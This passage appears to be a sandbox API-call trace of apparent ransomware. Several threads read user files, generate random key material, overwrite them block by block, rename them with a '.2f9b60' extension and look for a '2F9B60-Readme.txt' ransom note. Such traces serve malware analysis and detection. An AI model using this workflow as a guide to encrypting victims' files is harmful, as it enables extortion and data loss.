BaseAddress=0x41f3d170) returned 1 [0104.058] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x10192, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.058] ReadFile (in: hFile=0x1790, lpBuffer=0x41f39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f70f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesRead=0x2f70f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.058] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x10192, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0104.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0104.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0104.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631d0) returned 1 [0104.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f3d170 [0104.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0104.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263530 [0104.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263530) returned 1 [0104.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0104.059] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0104.059] WriteFile (in: hFile=0x1790, lpBuffer=0x41f3d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f70f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesWritten=0x2f70f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0104.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e870 [0104.062] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.062] WriteFile (in: hFile=0x1790, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x2f70f850, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x2f70f850*=0x158, lpOverlapped=0x0) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x133ce0) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eef0) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b740) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f670) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cf0) returned 1 [0104.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0104.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205dd70 [0104.179] wcscpy (in: _Dest=0x4205dd70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx" [0104.180] wcscat (in: _Dest=0x4205dd70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx.2f9b60" [0104.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx.2f9b60", NtPathName=0x2f70f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x202791f0 [0104.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202791f0) returned 1 [0104.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99250) returned 1 [0104.545] NtQueryInformationFile (in: FileHandle=0x1790, IoStatusBlock=0x2f70f8d8, FileInformation=0x2f70f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f70f8d8, FileInformation=0x2f70f8e8) returned 0x0 [0104.545] NtSetInformationFile (FileHandle=0x1790, IoStatusBlock=0x2f70f8d8, FileInformation=0x2f70f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dd70) returned 1 [0104.546] FlushFileBuffers (hFile=0x1790) returned 1 [0104.624] CloseHandle (hObject=0x1790) returned 1 [0104.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4f50 [0104.625] wcscpy (in: _Dest=0x202a4f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.625] wcscat (in: _Dest=0x202a4f50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.625] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4f50) returned 1 [0104.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 Thread: id = 943 os_tid = 0x1564 [0101.239] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Q3U2oKO W3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q3u2oko w3.flv")) returned 0x2020 [0101.239] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Q3U2oKO W3.flv", dwFileAttributes=0x20) returned 1 [0103.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Q3U2oKO W3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\q3u2oko w3.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x178c [0103.550] GetFileSizeEx (in: hFile=0x178c, lpFileSize=0x2f82f9a0 | out: lpFileSize=0x2f82f9a0*=50831) returned 1 [0103.550] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0xc68b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.550] ReadFile (in: hFile=0x178c, lpBuffer=0x2f82f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f82f968, lpOverlapped=0x0 | out: lpBuffer=0x2f82f920*, lpNumberOfBytesRead=0x2f82f968*=0x4, lpOverlapped=0x0) returned 1 [0103.551] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae40 [0103.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0103.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0103.551] NtQuerySystemTime (in: CurrentTime=0x2f82f860 | out: CurrentTime=0x2f82f860*=132462177090514000) returned 0x0 [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x4d421b3b [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x74888a67 [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x36c1d29c [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x18c77b9c [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x1c27da91 [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x7230a12d [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x4a3f5486 [0103.551] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x45bc0757 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0xa314be [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x41fa65ec [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x2826d1e1 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x5e35e201 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x5c64d522 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x2270a3c7 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x4af9c3be [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x31dde4fc [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x726c612e [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x4eeead90 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x512b0355 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x528d3464 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x396ea8d6 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x352adcb1 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x3c320e2e [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x386e5db5 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x14cd1c68 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x9a323ca [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x7f5f007 [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x447b007f [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x43abfd0a [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x457c6aff [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x42fc7b4a [0103.552] RtlRandomEx (in: Seed=0x2f82f850 | out: Seed=0x2f82f850) returned 0x78f7224b [0103.561] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.561] ReadFile (in: hFile=0x178c, lpBuffer=0x41f31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f82f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41f31d40*, lpNumberOfBytesRead=0x2f82f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.561] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0103.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503910 [0103.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae40 [0103.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae40) returned 1 [0103.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f35950 [0103.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae40 [0103.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0103.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b740) returned 1 [0103.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0103.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0103.562] WriteFile (in: hFile=0x178c, lpBuffer=0x41f35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f82f8c0, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesWritten=0x2f82f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0104.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f31d40) returned 1 [0104.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9e930 [0104.050] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.050] WriteFile (in: hFile=0x178c, lpBuffer=0x4205a770*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2f82f970, lpOverlapped=0x0 | out: lpBuffer=0x4205a770*, lpNumberOfBytesWritten=0x2f82f970*=0x10e, lpOverlapped=0x0) returned 1 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0104.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20262d20 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0104.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0104.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97580 [0104.173] sprintf (in: _Dest=0x1cd97580, _Format="%c%c" | out: _Dest="2e") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97582, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97584, _Format="%c%c" | out: _Dest="6b") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97586, _Format="%c%c" | out: _Dest="fc") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97588, _Format="%c%c" | out: _Dest="64") returned 2 [0104.173] sprintf (in: _Dest=0x1cd9758a, _Format="%c%c" | out: _Dest="57") returned 2 [0104.173] sprintf (in: _Dest=0x1cd9758c, _Format="%c%c" | out: _Dest="65") returned 2 [0104.173] sprintf (in: _Dest=0x1cd9758e, _Format="%c%c" | out: _Dest="68") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97590, _Format="%c%c" | out: _Dest="4e") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97592, _Format="%c%c" | out: _Dest="d0") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97594, _Format="%c%c" | out: _Dest="23") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97596, _Format="%c%c" | out: _Dest="69") returned 2 [0104.173] sprintf (in: _Dest=0x1cd97598, _Format="%c%c" | out: _Dest="dd") returned 2 [0104.173] sprintf (in: _Dest=0x1cd9759a, _Format="%c%c" | out: _Dest="df") returned 2 [0104.173] sprintf (in: _Dest=0x1cd9759c, _Format="%c%c" | out: _Dest="d7") returned 2 [0104.173] sprintf (in: _Dest=0x1cd9759e, _Format="%c%c" | out: _Dest="7e") returned 2 [0104.173] sprintf (in: _Dest=0x1cd975a0, _Format="%c%c" | out: _Dest="76") returned 2 [0104.173] sprintf (in: _Dest=0x1cd975a2, _Format="%c%c" | out: _Dest="e0") returned 2 [0104.173] sprintf (in: _Dest=0x1cd975a4, _Format="%c%c" | out: _Dest="dc") returned 2 [0104.173] sprintf (in: _Dest=0x1cd975a6, _Format="%c%c" | out: _Dest="e1") returned 2 [0104.173] sprintf (in: _Dest=0x1cd975a8, _Format="%c%c" | out: _Dest="ea") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975aa, _Format="%c%c" | out: _Dest="e4") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975ac, _Format="%c%c" | out: _Dest="11") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975ae, _Format="%c%c" | out: _Dest="a7") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975b0, _Format="%c%c" | out: _Dest="2c") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975b2, _Format="%c%c" | out: _Dest="79") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975b4, _Format="%c%c" | out: _Dest="cd") returned 2 [0104.174] sprintf (in: _Dest=0x1cd975b6, _Format="%c%c" | out: _Dest="48") returned 2 [0104.174] RtlInitAnsiString (in: DestinationString=0x2f82f9e8, SourceString="2ee66bfc645765684ed02369dddfd77e76e0dce1eae411a72c79cd48" | out: DestinationString="2ee66bfc645765684ed02369dddfd77e76e0dce1eae411a72c79cd48") [0104.174] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f82f9b8, SourceString="2ee66bfc645765684ed02369dddfd77e76e0dce1eae411a72c79cd48", AllocateDestinationString=1 | out: DestinationString="2ee66bfc645765684ed02369dddfd77e76e0dce1eae411a72c79cd48") returned 0x0 [0104.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8665c0 [0104.174] wcscat (in: _Dest=0x2050ab60, _Source="2ee66bfc645765" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ee66bfc645765") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ee66bfc645765" [0104.174] wcscat (in: _Dest=0x2050ab60, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ee66bfc645765.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ee66bfc645765.2f9b60" [0104.174] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ee66bfc645765.2f9b60", NtPathName=0x2f82f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2ee66bfc645765.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x20501d70 [0104.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501d70) returned 1 [0104.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc0b0) returned 1 [0104.542] NtQueryInformationFile (in: FileHandle=0x178c, IoStatusBlock=0x2f82f9f8, FileInformation=0x2f82fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f82f9f8, FileInformation=0x2f82fa08) returned 0x0 [0104.542] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x2f82f9f8, FileInformation=0x2f82fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ab60) returned 1 [0104.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0104.544] FlushFileBuffers (hFile=0x178c) returned 1 [0104.622] CloseHandle (hObject=0x178c) returned 1 [0104.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4ad0 [0104.623] wcscpy (in: _Dest=0x202a4ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.623] wcscat (in: _Dest=0x202a4ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.623] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ad0) returned 1 [0104.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4f50) returned 1 Thread: id = 944 os_tid = 0x1568 [0101.240] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QB7b-LppWr8EL.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qb7b-lppwr8el.csv")) returned 0x2020 [0101.240] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QB7b-LppWr8EL.csv", dwFileAttributes=0x20) returned 1 [0103.626] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QB7b-LppWr8EL.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\qb7b-lppwr8el.csv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a0 [0103.627] GetFileSizeEx (in: hFile=0x17a0, lpFileSize=0x2f8dfae0 | out: lpFileSize=0x2f8dfae0*=26105) returned 1 [0103.627] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x65f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.627] ReadFile (in: hFile=0x17a0, lpBuffer=0x2f8dfa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f8dfaa8, lpOverlapped=0x0 | out: lpBuffer=0x2f8dfa60*, lpNumberOfBytesRead=0x2f8dfaa8*=0x4, lpOverlapped=0x0) returned 1 [0103.628] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0103.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0103.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0103.628] NtQuerySystemTime (in: CurrentTime=0x2f8df9a0 | out: CurrentTime=0x2f8df9a0*=132462177091294000) returned 0x0 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x50c9c503 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x18558a3e [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x64aeac8e [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x75d72777 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x6fd11a54 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x4cda0b78 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x2c5fda85 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x1fc32c78 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x14329334 [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x5fe45d0f [0103.628] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x7e1c626f [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x2d0e6f2c [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x3456f8aa [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x327d4b7e [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x2e782c00 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x27c2aab9 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x20bcbab8 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x3f5d5c94 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0xf2b0da7 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x52c2348b [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x3a703c5d [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x19670282 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x51e283c8 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x33ffd5c9 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x2d4a1fb5 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x641bc131 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x512b0355 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x1494d687 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x7fddfcb0 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0xb6f7d53 [0103.629] RtlRandomEx (in: Seed=0x2f8df990 | out: Seed=0x2f8df990) returned 0x18f7bb8e [0103.629] RtlRandomEx (in: 